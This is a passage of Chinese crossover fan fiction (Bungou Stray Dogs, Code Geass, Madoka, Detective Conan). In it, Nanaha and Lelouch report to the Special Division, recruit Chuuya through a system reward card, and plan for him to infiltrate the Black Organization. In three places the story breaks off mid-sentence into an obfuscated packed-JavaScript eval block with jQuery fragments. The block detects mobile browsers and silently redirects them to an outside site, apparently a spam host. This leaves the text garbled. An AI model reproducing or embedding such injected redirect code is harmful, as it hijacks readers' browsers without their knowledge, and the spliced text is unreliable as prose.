七羽和鲁路修，他们两个人都不是异能力者，也不属于这个世界，所以命运之外的他们才能够给这个世界带来全新的因果线，所以太宰治从“书”中看到的未来才能通过回溯引向不同的结局。 他们的世界脱离了原本的轨迹，行在了一条前所未有的道路中。 “中也，你知道那种只有自己是清醒的，不被任何人理解的孤独吗？”彼时的太宰治是这样说的，他已经成了C世界的住民，奶白色的温和颜色洗掉了他常年不见阳光的阴沉颓废，他说这话时的表情几乎称得上一句柔和，“世界原本只是一个虚假的荒唐玩笑，荒唐，却通向虚无的幸福。在世界线重置后，粉饰得美好就被粗暴的扒开了，露出来了残酷却真实的未知。” “你知道这意味着什么吗？中也。” “意味着我们有了【未来】。” ——很太宰治的理论，狗屁不通的理论。 反正中原中也从不觉得自己的一言一行是别人操控的产物。 面对中原中也的责问，七羽和鲁路修对视一眼，前者虽然是造成现在这种状况的根源，但几乎没有进入这个世界后的记忆，后者虽然暂时还没完全理清楚前后因果，但掌握了绝大部分的有效信息。 “实话就是，我不记得了。”七羽实话实说，并努力让自己看起来可信一点，可惜那迅速变成-20的好感度明晃晃的嘲笑着他的天真，“但我觉得……” 七羽努力在光怪陆离的混乱记忆中搜索太宰治这个人类。 “我所强求的正好是他所追求的。”七羽进一步解释，“包括你也是，中也君，虽然你自己不记得了，但唯有这点我能确定，因为……” 第一次，七羽在鲁路修面前谈及了不曾提起的过去，“我是站在人类这一边的。” 他说这句话时的表情极其认真，不像是在陈述，反倒是像在承诺。 中原中也沉默的审视着七羽，最后他移开了视线，系统面板上的好感值也不再下跌，“你的强词夺理还是留着去异能特务科说吧。” 首领办公室的大门打开，不知何时过来的魏尔伦已经等在了门外，港口Mafia目前最具震慑力的两位异能力者一前一后拦住了七羽二人的出路。 中原中也重新戴好手套，从衣架上取下帽子扣在头顶，“走吧，你的早点可以拿着在车上吃。” * 坐在港口Mafia的专用车上，进入了副本这么久，七羽终于是用自己的眼睛见到了这个险些在战火中被毁灭的城市。 地上的血液还没有完全冲刷干净，穿着防护服的警察正把堆积的尸体拖进运输的卡车，更多被炮火炸碎与地面融为一体的碎块，只能等重建的时候同报废的马路一起处理。 横滨的街道已经面目全非，但诡异的是已经有行人嘴里叼着包子、背上背着笔电，奔跑着去赶公交了。那辆公交也是一样，磕磕绊绊的行使在坑坑洼洼看不出原貌的马路上，偶尔遇到个大坑还得把油门踩到底才能勉强开出来，但就是这样，土黄色的公交还是准时进站了。 “我喜欢这个城市。”七羽趴在窗前，目光黏在那名擦着汗成功赶上公交的上班族身上，“你们的城市是那个叫异能特务科的组织治理的？” “官方上的说法，是的。”坐在副驾驶上的中原中也手上翻着文件，时不时停下翻动写上几笔，对于外面的怪异景象，从擂钵街出身的他已经习以为常了，“但你如果指的是他们这种活在当下的‘活力’，我想和异能特务科没什么关系。” 横滨的居民纯粹是被逼出来的，谁让他们住在太宰治统治的港口Mafia大本营，要是适应能力不强一点，早就在前几年的大夜弥天中崩溃了。 太宰治可不是那种手段温和的首领，在发展组织这件事上，太宰治其实相当独裁任性。 嗯……虽说现在中原中也已经理解太宰会疯狂发展组织的原因了，但只要一想到以前那个毫不知情的自己成天被邪恶资本家忽悠，从996变007，加班加到昏天黑地，就会觉得拳头发痒，想揍点什么出气。 连中原中也都这么水生火热了，横滨居民们的处境也可想而知。 “我劝你还是不要对这种官方组织抱有过多的期待。”作为过来人的鲁路修接过话题，“不论哪里的官方组织都是以整体的利益为最优先的，这和他们所处的位置有关，所以在外人看来，他们都是唯结果论的独裁者、暴君，和你所期待的不能说毫不相干吧，只能说并不是你所喜欢的样子。” “我所喜欢的样子？”七羽重复了一遍，他有点奇怪又有点困惑，“是什么样子？” “到了。”他们已经穿过两道哨卡，魏尔伦把车停在了指定位置，“我在这里等你？” 全程对七羽二人采取无视态度的魏尔伦现在眼里也只有自家弟弟。 “嗯，等我的时候可以顺便看看这个，以后哥哥你会用得到。”中原中也把手上那厚厚一沓文件递给魏尔伦，注意到魏尔伦眼底的担忧，因为Code丝毫看不出来疲惫的中原中也给了魏尔伦一个熟悉的张扬笑容，“放心，已经结束了。” 先一步下车等在旁边的鲁路修待中原中也下来后往车内又看了一眼，车窗膜挡住了他的视线，让他只能看到隐隐绰绰的人影轮廓。 鲁路修收回视线，“下定决心了？中也君？” 显然他听到了中原中也交代的那句话。 中原中也越过他走在前面带路，披在肩膀上的黑色大衣随着他的走动下摆一晃一晃，他身上的装束和初见时没什么两样，只除了脖子上没了那条红色的长围巾。 “我可不是因为信任你们才这么决定的，只是形势所迫。”中原中也说，“太宰那家伙大多数时候说出来的话都不靠谱，但在这种事情上，就算我不信，他都已经豪赌到这个份上了……” 用坂口安吾给他的磁卡刷开异能特务科的大门，中原中也一回眸，“我也只好跟了。” 鲁路修点头表示自己理解了，但缺席时间太长的七羽却听得一头雾水。 现在他们已经进了异能特务科的地盘，不适合说悄悄话，所以鲁路修给七羽比了个“ok”的手势。 嗯？为什么突然就搞定了？ 七羽疑惑的确认了一遍系统面板，好感度并没有提高啊？ 可恶，好想问。 憋得气闷，不知所以然的七羽只能想办法分散自己的注意力。 他同鲁路修跟在中原中也身后，穿过异能特务科复杂的走廊，沿途两边办公室的大门几乎都紧闭着，偶尔几个大门敞开的办公室里是没完没了的电话铃声，以及忙到焦头烂额的值守公务员。 七羽路过的时候好奇的听了一耳朵，只听那名员工接起电话回复的时候口吻虽然官方但还算礼貌，可念完了台词挂了电话就开始向隔壁行动组的咆哮，变脸的速度让人叹为观止。 最后又拐了一个弯，他们到了目的地。 相比上次，这一回异能特务科冷清了不少，不止武装侦探社的江户川乱步不在，连异能特务科的骨干坂口安吾去出外勤了，等在指挥中枢的只有异能特务科的二把手辻村深月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840364|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举办侦探茶话会的那张小圆桌倒是还支着，不过坐在一旁的只剩吐着烟圈的绫辻行人。 出于好奇，七羽多看了两眼绫辻行人手边的见崎鸣人偶。 “密钥。”辻村深月在他们经过哨卡的时候就得到了消息，现在指挥中心的大屏幕上所显示的内容都经过了一轮替换，这位异能特务科的二把手踩着高跟鞋走到了鲁路修面前，“很感谢你对横滨做出的贡献，现在我们的交易已经结束了。” 鲁路修早就料到了，他从口袋里掏出通讯终端，随手往辻村深月那一丢，一点留恋也没有的无所谓模样，和之前在这里大放厥词要拿到大指令的张狂表现十分割裂，割裂到辻村深月都有点怀疑他还回来的密钥是被掉包了。 “不用怀疑，这就是你给我的那个密钥。”曾经坐拥整个不列颠帝国，把疆土开拓到世界尽头的皇帝陛下表示，他还真看不上这点军权，何况若他想造反，那也根本不需要这东西。 “长官，我们只是来做基础说明的。”辻村深月的态度让七羽的表情淡了下了，“你们的战争并不由我们负责。” “不由你们负责？”辻村深月的声音拔高，熬了一天一夜，她绷到了极限的神经终于在这时裂开了一条缝，那些在危急时刻为理智强行压下去的负面情绪“碰”的一下在她的脑子里炸开了。 “难道不是你们的到来导致了这一切吗？”辻村深月指控道，“他——”，她指着七羽，“他失控形成的特异点直接团灭了我们三个异能力者精锐小队！” “而你——”她又指向鲁路修，“你擅自调离七尾的自卫队，发展自己的狂信徒，你就没有半点别的企图？” “为什么天人五衰紧跟着你们的出现就发动了总攻？为什么神威在你们现身后就从幕后走到了台前，甚至公然进入横滨的防线，向武装侦探社下了战书？为什么原属于异能特务科的涩泽龙彦会突然异能力失控？！” 辻村深月的声音越来越大，迸发出来的情绪支配了她的理智，从不在外人面前失态的异能特务科二把手首次失控了。 她自己也不知道原因，只是在对上七羽那双冷淡的眼睛，被那双眼睛注视，一些根植在了人类基因本能中的东西悄悄探出了头。 ——在他面前，你可以任性一点，你可以做你自己。 不需要压抑，不需要困惑，你所有的绝望都会被全盘包容。 辻村深月没想到，或者说，连七羽本人都没有意识到，昨夜他以魔女的姿态现世给这个世界带来了什么。 被太宰治逆转的因果又改变了这个世界什么。 那些没能孕育出【概念】的情感到底是让这个世界从根源上变得不一样了。 在场的所有人都被辻村深月的突兀破防吸引了注意力，在没有人注意到的时候，被绫辻行人随手放在桌上的见崎鸣“咔嚓咔嚓”扭了下头，把视线调转到了不远处的七羽身上。 只有绫辻行人在抖掉烟灰的空挡用烟袋戳了戳见崎鸣的头，趁着无人发现，把人偶的面向又调整了回去。 “所以我说，我们是来进行最基础的说明的。”七羽好脾气的重复，他在“基础”两个字上加了重音，暗示他并不会说得太多，“你的这些问题，恐怕只有一个人能给你解答。” 听出来了七羽说得是谁，但中原中也只是懒散的靠在墙壁上，双手抱臂冷漠旁观。 “谁？你们出门忘记带的解说员？”辻村深月语言尖刻，“我没有看到除了你们仨之外的人。” “你觉得是我们的到来导致了这一切？”鲁路修才不吃辻村深月这一套pua，虽然只有两个世界，但他多少也发现了七羽这些随机副本的共通性，“呵，你认为就凭你们，能守得住防线？哦，还是说你们有办法停下中也君的污浊？” 辻村深月没提到“书”，也没把七羽和“书”画等号，鲁路修便也没提。 结合太宰治寻死的理由，知道这本书的人还是越少越好。 ——毕竟这本“书”已经和七羽的因果缠在了一起，成了理不开的毛线球，仅仅是“知道”这个行为本身，就会招致危险。 例如鲁路修还没完全搞明白的【七羽】。 “我插一句。”一直围观的绫辻行人用烟斗敲了敲桌沿。 在七羽的副本倒计时快结束前，他抱起小巧的玩偶，慢悠悠踱着步子走到七羽面前，把做工精致的人偶往七羽面前一递。 “喏，拿着吧，这是太宰治委托我给你的谢礼。” 49.污浊了的忧伤中（完） 七羽低头看看递到了自己手边的人偶，又看看首次见面的绫辻行人，有些摸不准他口中的委托具体指的是什么，但他的确很喜欢这个精致的手作人偶。 “谢谢？”试探性的接了过来，七羽把人偶提到眼前，和视线平齐的高度，没看出问题的七羽把人偶搂进了怀里。 因为辻村深月爆发而剑拔弩张起来的氛围一下子放松了下来。 “好了，与其纠结这些没意义的东西，辻村长官你还不如好好想想怎么对这次的事件进行收尾。”被当做外置大脑留下来的绫辻行人中肯地说，“据说是为了防止36年后世界大战才一时脑残，组建天人五衰，叛出军警的前猎犬总指挥怎么办？是送他上法庭审判，还是保住他这个重要战力？港口Mafia的首领太宰治蹊跷死亡，曾经刺杀过政府要员的天人五衰成员疑似加盟港口Mafia如何处理？许诺的异能经营许可证是否如约发给港/黑？暗杀王魏尔伦公然出现，欧洲异能力组织那边会不会通过外交辞令施压，前来要人？” 一口气说了一堆目前亟待他们解决的后续问题，绫辻行人在七羽诧异的眼神中用沉重的工作量把辻村深月的情绪按了回去。 这位被异能特务科监管的侦探毫不顾虑辻村深月的脸面，“这么多实际的问题等着你呢，你却在纠结他们俩的来意？” 侦探摇摇头，对辻村深月的责问不敢苟同：“这不是应该在把密钥与指挥权交出去之前就得出答案的问题吗？” 旁观的中原中也“噗嗤”一声笑了出来。 “没什么，你们继续，反正人我是带到了，魏尔伦的事你记得打报告的时候好好选择措辞就行。”中原中也摆手，让辻村深月不要在意自己。 “那种事情……我当然知道。”辻村深月几乎是从牙缝里挤出来的这句话，“但是作为异能特务科的负责人，我有必要知晓你们的立场。” 联想到鲁路修在车上所说的有关“国家机关”的话，七羽大概能理解辻村深月的顾虑。 至于怎样表述才能让面前对横滨安全负责的辻村深月理解…… 嗯，他们以后八成还会面临类似的场面，他们总不能每次都打太极糊弄过关。 第一次副本刚降落就被鲁路修Gease了，问了个底儿掉，碰巧避免了这等场面的七羽决定给他们上一个官方身份。 “我们是人理续存机构的执行官，是人类群体潜意识阿赖耶的代行者，我们之所以会来到这里，是因为系统检测到了你们的人类史出现了可能导致人理烧却的危机。” 曾经是英灵座正牌英灵的七羽正色道，并流利的背出了当年入职时发给他的员工手册中的岗位职责。 辻村深月目露狐疑，她没立马质疑七羽的主要原因是昨晚魔女化的七羽和银庭之主直接顶炸了异能特务科的能量探测器，他们俩已经不能被归类到超越者或者特异点了，异能特务科的专家组直接给他们开了一个规格外的新分级。 “人理烧却的危机？你是指那位背生双翼的存在？” 其实辻村深月觉得比起恶魔形象的银庭之主，操控怨魂形态诡秘的魔女七羽更像灭世的反派，但这话心里念叨念叨可以，关起门来内部讨论也没问题，当着七羽的面这么说…… 辻村深月余光瞧见七羽身后的鲁路修，觉得还是不要了。 刚才的失控是突发事件，无法避免，而经过了绫辻行人的打岔，理智回归的辻村深月时刻谨记要摆正自己的位置。 “对也不对。”七羽说这话时面不改色，谁让焰把圆环之理给拽了一部分下来，这么说也没太大毛病，“她是为阻止我们而来，并不是导致你们人理烧却的直接原因。” 胡扯了一堆的七羽决定吐露点真料避免穿帮，“你们世界的人理烧却，在系统的测算推演中，是由异能力者消失引发的。” “什么意思？”虽然有点在意“你们世界”这个说法，但辻村深月分得清主次，“异能力者为什么会消失？还有，异能力者又不是全体人类，为什么异能力者的消失会导致世界毁灭？” “因为你们是人柱。”七羽在接触到本世界因果线的时候就注意到了这个问题，这个世界有数条已经分离出去的因果断掉了，断开点全部都是异能力者消失的那一刻，“世界基石给了你们对抗危机的力量，你们的存在与延续也将反哺世界。” “书”本身说白了就是一个特别的特异点，是异能力本身，由它诞生了异能力者，每一个异能力者都是它延伸出来获取更多能量的触须，当所有的异能力者死亡，“书”也会同时失去支撑。 “至于异能力者为什么会消失……”七羽总觉得自己听过这说法，但魔女化时的记忆就像猫咪爪子下的毛线球，是一团理不清楚的乱麻，“人理烧却的前后会进入无法观测的猫箱，我们不能确定是什么直接导致了这一现象的发生。” * 给辻村深月透了点信息，把自己和鲁路修的身份圆上后，七羽二人终于是和辻村深月达成了共识。 从指挥室出来，中原中也没有带他们去停车场，而是拐进了一楼的吸烟区。 这位对七羽和鲁路修两个人加起来好感度都不到0的黑/手/党首领从烟盒里敲出来一根香烟，摸出打火机点燃后也不吸，只是用手指夹着，目光远远落在港/黑大楼所在的方向。 “你们要怎么离开这里？”中原中也抖了一下烟灰，七羽反应了两秒，才惊觉他这句问话似乎并不单指他们如何离开横滨。 “很快，还剩不到一个小时，你如果想一起离开的话，尽量把之后的事情安排好。”在进入异能特务科之前就猜到中原中也选择的鲁路修顺畅的接过话，“虽然之后也有回来的可能性，并且两个世界之间的时间流速不同，这边不会过去太长时间，但现在你们组织的地位很尴尬吧？” 这场由天人五衰引发的局部战争虽然最终被扼杀在了收尾前夕，但也暴露出来了不少问题。 港口Mafia的实际战力首当其冲的暴露无遗。 只要上面的人不是傻子，就能意识到在横滨这个由异能力者自治的城市，这样一个团结且战力爆棚的组织会产生怎样的影响。 尤其在猎犬这柄军警最忠诚的刀损失惨重的前提下。 之前还有可能顾虑到太宰治和中原中也而采取怀柔态度，但随着太宰治和中原中也先后消失，哪怕魏尔伦走到了台前，港口Mafia也将面临前所未有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849103|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大压力。 这也是中原中也会适当妥协，带七羽和鲁路修来异能特务科接受问询的原因之一。 在下车时就把关键资料交到了魏尔伦手上的中原中也不急不缓的说：“这点用不着你来操心。” “我跟你们离开，就可以断开和那段因果线之间的关联？”身为许愿造成回溯，连通了太宰治和七羽的起始点，中原中也在得知太宰治选择跳楼的根本原因后就在思考了。 他需要把“书”交到七羽手上形成闭环，所以他不能死在那段不存在的因果中，那他必然就需要以另外的方式斩断和因果线的联系。 除了跟太宰治一样死得干干净净，剩下唯一的方式就是…… 从这个世界上消失。 “如果你成为我的员工，被系统正式录入的话……大概。”七羽不知道第多少次瞄了眼好感度，叹了口气，“但中也君你完全不相信我们，我没有办法邀请你。” 他的主线任务在中原中也把“书”交给他的时候就自动完成了，剩下的只需要等待任务倒计时结束，回归后系统就会弹出来邀请页面，届时所有符合邀请条件的人都会出现在名单上，再由七羽来决定向谁发出邀请。 但-20显然不在符合条件的范围内。 “咳咳。”鲁路修清了清嗓子，示意有话要说，等七羽和中原中也看过来，他笑着从衣兜里摸出来了一张卡牌，“喏。” “这可真是……”七羽看着系统内给出的说明，万分庆幸自己从第一个副本里抽出了一张SSR。 “中也君。”在倒计时的最后，七羽笑着看向中原中也，“要一起来吗？” 中原中也按灭香烟，从鲁路修手中抽走那张卡牌。 “正合我意。” [任务剩余时间：0日] [检测到任务目标：拿到“书”的所有权。] [任务结算中……] [结算已完成] [恭喜你完成了第二个随机副本，任务奖励已发放，请查收。] [固定奖励： 退休金*□□□ 员工邀请卡*1 咖啡店地下室*1] [额外奖励： 英灵召唤卡*1 很有音乐细胞的全自动留声机*1 八卦的收音机*1] [特殊人物卡： 中原中也 能力值： 筋力：EX 魔力：EX 幸运：E 敏捷：S 固有技能： 1.异能力:污浊了的忧伤中（常态时能操纵所触碰物体/人体的重力，完全解放时将成为特异点‘污浊’）。 2.Code：能够自由进出群体潜意识、赋予契约者Geass能力（目前契约者数量：1）、不老不死。 寄语：——（提示：当前好感度过低，请提升好感度后查询。）] 查看完系统通知正准备关掉面板的七羽一顿，目光快速上移了回去，又把那句话看了一遍。 赋予契约者Geass能力（目前契约者数量：1）。 嗯？ 1？ 50.波洛咖啡店 “人理续存机构？” 就在七羽还在思考系统面板上显示的契约人数时，出现在波洛咖啡店的中原中也已经打量完了这间不大的社区咖啡店，一双蓝眼睛玩味的看向七羽和鲁路修。 好吧，任谁都没办法把眼前的朴素咖啡店和真正的人理续存机构迦勒底划上等号的。 “不要在意称呼，那不重要。”回到和平世界，松懈下来的鲁路修指着吧台的方向，“热水随意，咖啡需要自己泡。” 说着，鲁路修按开店铺内的顶灯，店铺内风卷残云一般的狼藉现场在灯光的照射下展露无遗。 ……哦对，他们好像是在卷了一整天后临时跑路副本的，走之前根本没收拾店铺。 看着堆满了陶瓷咖啡杯的水池，和塞满一次性纸杯的垃圾箱，鲁路修沉默了。 对着空无一杯的橱柜，和满满当当的水池，自成为干部后生活质量直线上升的中原中也突然有点怀疑自己所做的这个决定是否正确了。 他总有种不详的预感。 “我来收拾吧。”七羽把怀里抱着的玩偶找了个合适的地方放好，确定不会从吧台掉下来，也不会妨碍到他们工作后撸起袖子，“当年在螺旋馆的时候我就很擅长把现代魔术魔改成生活魔术。” 进入副本后明明没有划水，却达成近似效果的七羽活力满满。 “那就辛苦了。”体力透支的鲁路修一动都不想动，注意到中原中也还站在原地，他指向自己对面的沙发卡座，“不介意的话，先坐吧。” 中原中也抿了抿唇，突然改变的生活节奏让他不太适应。 “这就是你们的世界？看着和我那边没什么不同。”中原中也落座，“之前你还没回答我，这个东西……”他的右手覆上左手手背，“你不拿回去吗？” “你说Code啊。”鲁路修懒洋洋的叫了七羽一声。 “可以倒是可以。”话题既然到这了，七羽顺势就问了出来，“中也君，你用Code和谁签订了契约吗？” “啊？”第一次听说这个说法，中原中也下意识吐出来个茫然的语气词，“契约？” 七羽看向鲁路修：“L.L.？” 鲁路修摇头：“当时时间比较紧，中也君需要的也只是Code不老不死和能进入群体潜意识的能力，至于可以和人签订契约……我就没提。” 那又不是什么好东西，产生了新的Gease他还得跨世界去回收，麻烦死了。 那系统里显示的那个“1”是谁？ 中原中也也在回忆，他好像也没有和契约扯得上关系的口癖。 “既然这样，Code就先放在你那吧。”这次的副本搞不清楚的事情太多了，鲁路修现在并不想勉强自己思考，他现在只想往胃口里塞点暖和美味的食物，然后再泡个澡好好睡一觉。 “对了。”说到睡觉，鲁路修又想起来个事儿，“咱们是不是租个房？” 三个人硬塞倒也不是不行，但鲁路修觉得，这肯定不会是他们最后一次副本，与其挤在一起，还不如早点考虑更换住所的问题。 “可以啊，不如我们直接搬去工藤君附近好了。”还能就近看顾一下高中生侦探的小命，七羽大致估算了一下这两天的营业额和银行卡里的余额，觉得问题不大，“中也君也需要置办一下生活用品和衣物。” “对了，为了庆祝中也君入职，不如我们今晚出去吃吧？” 七羽跃跃欲试，退休几天就996了几天的退休生活简直不是人过得，每天一睁眼就在打工养活自己，他还没来得及好好看看这个变得陌生的原生世界。 虽然对入职的不是人理续存机构，而是咖啡店这件事颇有微词，但七羽的提议还是得到了一致通过。 把清扫交给使魔，重新关上灯锁好店门，三人也没有叫计程车去繁华的商业街，而是选择了挨着帝丹中学的一条小吃街。 作为特殊人物卡牌而非正式员工的中原中也并不像鲁路修一样得到了系统赠送的《基础常识》大礼包，但两个世界高度相似的科学现代化程度让他很快就适应了这边的环境。 现在正值晚饭时间，小吃街内几乎每个流动摊位上都排着队，诱人的食物香气冲淡了冬日的寒冷，虽然原因各不相同，但七羽三人不约而同的露出了怀念的神色。 在这种氛围下，连定格-20的好感度都松动了，往上回升了一丁点。 “你们是被什么人盯上了？” 路过一家牛肉丼饭快餐店时，在有一搭没一搭的闲聊中，中原中也插空丢出来了这么一句话，他脸上的表情还是懒散放松的，身体也没有摆出警戒的姿态，语气和说“这家红豆年糕汤看上去不错”一样随意。 此时他们仨一人拿了一串糯米团子，七羽怀里还抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857043|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个牛皮纸袋，里面是在等糯米团子的时候从隔壁店铺买得各种炒货。 “说来话长。”七羽腮帮子一鼓一鼓，一边“嚼嚼嚼”一边说道，“我刚到这个世界的时候撞破了一起午夜游乐园杀人事件，顺手救了要被毒杀的高中生，结果就被卷进了疑似跨国黑色组织与日本高中生侦探之间的博弈。” 中原中也迟疑了一下，“你不觉得你的说法很奇怪吗？” 七羽和鲁路修同时看了过来，面对明明能够机械降神降维打击的两人，中原中也嘴角一抽，“跨国黑色组织和日本高中生侦探，你不觉得这两者根本不可能放在天平的两端吗？” 他打了个比方，“要是港口Mafia想要杀人灭口，别说高中生侦探了，高中生首相都逃不掉被暗杀的命运。” 鲁路修反应很快：“所以这个组织里肯定有人在保他。” 中原中也点头：“对。” 把签子顺手丢进垃圾桶，中原中也接着问道，“而且以你们俩的实力，这种程度的麻烦很好解决吧？还是说……这个世界有什么禁忌？” “也可以这么说吧。”七羽解释道，“这是我的世界，我在离开前这里还是一片废土，魔兽毁灭了这个世界，人类苟延残喘，但我从阿赖耶那边回来后，世界就变成现在这个样子了。” “我不确定世界改变的原因，回来后也没发现我同类的踪迹，连让我许下愿望成为魔法少女的孵化者也一直没有现身。”七羽没在意说到“魔法少女”时中原中也那微妙的表情，“所以如非必要，我不打算打破现状。” 中原中也：“孵化者？” “一种靠打信息差哄骗人类签订魔法契约，用人类的希望与绝望来维持宇宙的熵平衡，让世界不至于毁灭的全理性生物。”七羽很客观的评价了QB。 “那你们打算怎么解决？”中原中也从七羽抱着的牛皮袋里抓了一把炒货，“静观其变？” “暂时……”七羽突然止住了话头，他看向中原中也，在仔仔细细打量了中也后眼睛一亮，“我突然想到了个好主意。” 听过七羽“黑吃黑”与“刷悬赏领奖金”言论的鲁路修一脸淡定，示意他说说看。 “中也君，要不你去那个黑衣组织当卧底吧？” 无论是衣着打扮的习惯，还是专业对口程度，都是百分百适配！ “……哈？” 51.波洛咖啡店 “怎么样？”七羽越想越觉得自己说得这个法子不错，“我们可以从工藤君的新邻居入手，既能试探她的身份立场，还能给中也君加入黑衣组织打开突破口。” 他们目前接触到的组织成员只有那一夜企图对工藤新一灌毒的两个黑衣人，另外就是已经变成毛绒小熊的雾雨小姐，可能雾雨小姐的画家双胞胎姐妹也对这个组织了解一二，不然这件案子也不会转了又转，最后转到了东京警视厅，据说还归到了警视总监直接管辖——可以说是最高规格了。 以上都是上次和工藤君吃饭的时候鲁路修从工藤新一嘴里套出来的。 高中生侦探的推理能力和智商都超出水准线很多，但是和鲁路修比起来，社会阅历差了不是一点半点，一顿饭的功夫，工藤可能自己都没发现自己说漏嘴了。 “L.L.不是推测那个黑衣组织里可能有人在保工藤吗？”七羽捋着思路，把自己前一晚上的发现说给中原中也听，“假设那位有问题的邻居小姐属于保下工藤君的派别，那或许中也君真的可以通过她卧底进去。” 中原中也不太能够理解：“你们为什么要执着于这个？就算你们不想使用能力，也多的是办法解决掉身后的尾巴吧？” 退一万步讲，不解决，就这么放着不管，这个世界上难道还有能够对七羽和鲁路修两个人造成威胁的组织？ 像是看穿了中原中也的想法，鲁路修说：“有的，至少我现在就是一个普通人，被刀就会死，被毒也会死，中也君不是也说了，要是你们港口Mafia想要干掉一个人，哪怕他是帝国皇帝也难逃一死。” 我刚才那句话是这么说的吗？ 这里面是不是夹杂了奇怪的信息？ 中原中也茫然了一秒钟。 “而且……”鲁路修露出一个完美的微笑，“这很有趣，比烤披萨和泡柠檬茶有趣很多。” 七羽点头附和：“每天都在996甚至007，我感觉自己都要被打工腌入味儿了。” 中原中也简直没办法把面前的两人和之前的指挥官以及魔女联系在一起。 “再说了，我主要是觉得这费不了多少功夫，以中也君你的专业水准，只要能卧底进去，干到组织高层要不了多久。”鲁路修在这一点上充分相信港口Mafia前最高干部、现首领的能力。 “你也知道得先卧底进去啊？”中原中也没好气的说，“我已经公开和你们一起露面了，你信不信现在我的基础资料已经出现在了那个组织管理的案头？” “我纠正一下，只有外貌和身高。”闲聊间鲁路修也吃完了手里的糯米团子，糖分的补充令他的思维重新活跃了起来，他首先给刚刚成为同事的中原中也进行科普，“因为你和我都不是这个世界的人，我们在这里是查无此人的黑户。” 七羽小声：“我觉得这不影响，因为本来中也君就不可能用现在这张脸去应聘啊？” 中原中也：…… 入行后就跟着红叶大姐，从正统情报部门出身的中原中也对现在的展开表示无法理解。 你们卧底的方式真是前所未见.jpg “我的意思是，既然没有途径假造完美无缺的身份信息，那干脆就保持现状好了。”鲁路修打了个响指，“从国外研究不老不死实验室逃出来的实验体，曾是敌对国家的情报特工，由于实验原因，丢失了从前的全部记忆，只保有一部分的基础常识，这个设定怎么样？” 连证明身份的实验成果都是现成的，有Code兜底，中原中也就是真正的不老不死，无论黑衣组织用什么方法验证，都会得出同一个结论。 更妙的是，中原中也才来一天，对这个世界一无所知，非常符合实验体的设定。 接下来只要让七羽帮中原中也换张脸，他就能给自己一枪，然后假做被实验室追捕，倒在工藤宅邸的隔壁了。 等同样面容不老的邻居小姐发现中原中也身上致命的枪伤会自我愈合—— 鲁路修不信这位有问题的邻居小姐会放过送上门的业绩。 品出来了鲁路修这人物设定背后的意思，中原中也不得不承认，哪怕是从专业的角度，也挑不出来明显的漏洞。 原本应该是拖后腿的黑户，反而成了佐证他身份的有力证据。 “……如果你们坚持的话。”中原中也艰难回答。 “放心，这不会增加你的工作量的。”鲁路修拍了拍他的肩膀，“咖啡店有我们。” 那你们还真的是体恤员工呢。 中原中也斜了两人一眼，结果提出卧底这回事的七羽已经跑到前面一家店的门口在看摆在门口的菜牌了。 吸引住七羽的是从店铺内传出来的勾人香味，中原中也则是注意到了店门口停着的那辆雅马哈XT400E Artesia。 “诶，这辆车在你们这居然还没停产吗？”他走过去绕着车转了一圈，嘴里把参数性能如数家珍的念叨了一遍，“我本来也有一辆来着，后来……” 中原中也的表情空白了一瞬间，又接着往下说了下去，“后来可能是在龙头战争的时候损毁了？” 他好像没发现自己的思维停滞了一秒，也没发现自己出现了认知错误。 这种状态鲁路修从另一个人身上也见过。 “这家店看起来好好吃，我们今晚吃这家吧！”同样出现过这种状态的另一个当事人指着店门询问鲁路修和中原中也的意见。 迎着七羽期待的眼神，无所谓吃什么的鲁路修点头，“好啊，刚好我也饿了走不动了。” 这家主营意大利家乡菜的小餐馆连招牌都没挂，大门上方是一片空白，但哪怕隔着门，都能闻到店里食物的香气。 七羽：“中也君呢？” “我都可以。” 得到答复的七羽迫不及待的推开了餐馆的门，然后鲁路修就见证了一只满怀期待但期待落空的狗狗诞生的全过程。 “……满座了。”七羽恹恹地收回推门的手，但紧接着，魔法少女绝顶的视力让他在合上门的前一刻瞥见了角落里的熟人。 “工藤君？” “七羽？” 七羽如愿以偿的坐进了这家他一眼看中的餐馆。 “七羽你们下次来直接坐吧台就行，大叔开得这家店超级火，只要开门，除非食材售空，不然等位的顾客都不肯走。”工藤新一他们有四个人，加上七羽三人正好把靠着开放厨房的这一面吧台包圆了，高中生侦探比前几次都热情，热情到只在七羽口中听过他的中原中也忍不住多看了他两眼。 也不知道是高中生和缘故，还是这个世界过于和平了，总之中原中也觉得工藤新一和他想象中的侦探模样大不相同。 中原中也观察工藤新一的同时，工藤新一也在观察他。 “七羽，这是你们咖啡店的注资人吗？”工藤新一好奇。 也不怪他会这么想，主要是穿着 